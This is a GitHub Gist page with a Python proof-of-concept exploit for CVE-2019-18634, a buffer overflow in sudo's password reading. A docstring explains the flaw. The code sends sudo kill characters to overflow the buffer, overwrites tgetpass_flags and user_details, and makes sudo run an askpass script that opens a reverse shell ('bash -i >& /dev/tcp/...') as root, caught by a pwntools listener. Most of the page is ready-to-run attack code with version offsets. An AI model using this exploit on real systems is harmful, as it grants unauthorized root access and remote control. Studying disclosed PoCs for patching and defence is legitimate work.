Last active
September 8, 2020 23:03
-
-
Save wbowling/cfe7f13f002e33e1f46acf44c7c80129 to your computer and use it in GitHub Desktop.
POC for CVE-2019-18634
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os | |
import pty | |
from pwn import process, sleep, write, read, listen, p64 | |
""" | |
From https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401: | |
} else if (c == sudo_term_kill) { | |
while (cp > buf) { | |
if (write(fd, "\b \b", 3) == -1) | |
break; | |
--cp; | |
} | |
left = bufsiz; | |
continue; | |
} | |
The overflow in the above code can happen if the `sudo_term_kill` character is sent and the write fails, | |
`left` is then reset to bufsiz but `cp` is not allowing another `bufsiz` bytes to be written. This can be | |
done as many times as needed. | |
The `buf` is located in the bss and anything following it can be overridden with the overflow. This means | |
that `tgetpass_flags` can be changed to set the `TGP_ASKPASS` flag as well as the `user_details` struct. | |
The next time `tgetpass` is called (after an incorrect attempt) we can make sudo take the `sudo_askpass` | |
path instead if we set the `TGP_ASKPASS` flag. The `askpass` string is fetched from the `SUDO_ASKPASS` | |
environment variable then `setuid(user_details.uid)` and `execl(askpass, askpass, prompt, (char *)NULL);` | |
will be run, both of which we have full control over allowing us to execute anything as root. | |
""" | |
script = """#!/bin/bash | |
bash -i >& /dev/tcp/127.0.0.1/2222 0>&1 | |
""" | |
filename = "/tmp/pwn.sh" | |
OFFSETS = { | |
"1.8.21": 0x270, | |
"1.8.30": 0x224 | |
} | |
VERSION = "1.8.21" | |
def setup(): | |
write(filename, script) | |
os.chmod(filename, 0o777) | |
def exploit(): | |
master, slave = pty.openpty() | |
r = listen(2222) | |
process("sudo -S id < " + os.ttyname(slave), | |
shell=True, env={"SUDO_ASKPASS": filename}) | |
payload1 = "\x00" * OFFSETS[VERSION] | |
payload1 += p64(0xf4) # tgetpass_flags | |
payload1 += p64(0) * 6 # user_details | |
payload1 += "\n" | |
payload = "" | |
for c in payload1: | |
payload += c | |
if (len(payload) + 1) % 0xf0 == 0: | |
payload += "\x15" # sudo_term_kill char | |
sleep(1) | |
os.write(master, payload) | |
r.wait_for_connection() | |
r.interactive() | |
if __name__ == "__main__": | |
setup() | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment